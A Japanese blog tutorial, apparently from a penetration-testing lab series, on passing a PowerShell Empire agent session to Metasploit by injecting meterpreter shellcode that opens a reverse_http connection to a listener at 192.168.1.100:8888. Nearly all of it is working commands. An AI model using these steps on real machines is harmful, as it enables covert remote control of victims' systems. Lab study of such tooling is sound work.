とある親父の侵入実験【Empire:帝国と共闘】
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。
準備したもの
環境(仮想環境)
1 接続
Windowsとの接続のウンヌンカンヌンは端折ります。
現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。
次にmeterpreterとの接続に使用するリスナーを用意してやります。
(Empire: listeners) > set Name meterpreter
(Empire: listeners) > set Port 8888
(Empire: listeners) > set Type meter
(Empire: listeners) > execute
ここまでで下ごしらえ完了
2 譲渡
まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。
(Empire: agents) > interact FZWBYTCSG1NH3P42
そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。
(Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter
設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。
(Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
(Empire: code_execution/invoke_shellcode) > set Lport 8888
(Empire: code_execution/invoke_shellcode) > set Payload reverse_http
これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている
3 共闘
次にMetasploit側の設定を行う。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > set exitonsession false
とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」
で、ここまで設定したらmetasploitは走らせて待機。
msf exploit(handler) > exploit -j
さぁ、共闘の準備は整った!
Empireへ戻り実行してみよう!!
(Empire: code_execution/invoke_shellcode) > execute
Empire側でJobが走ると・・・
見事にmeterpreter側でsessionが、確立する。
ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。
Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。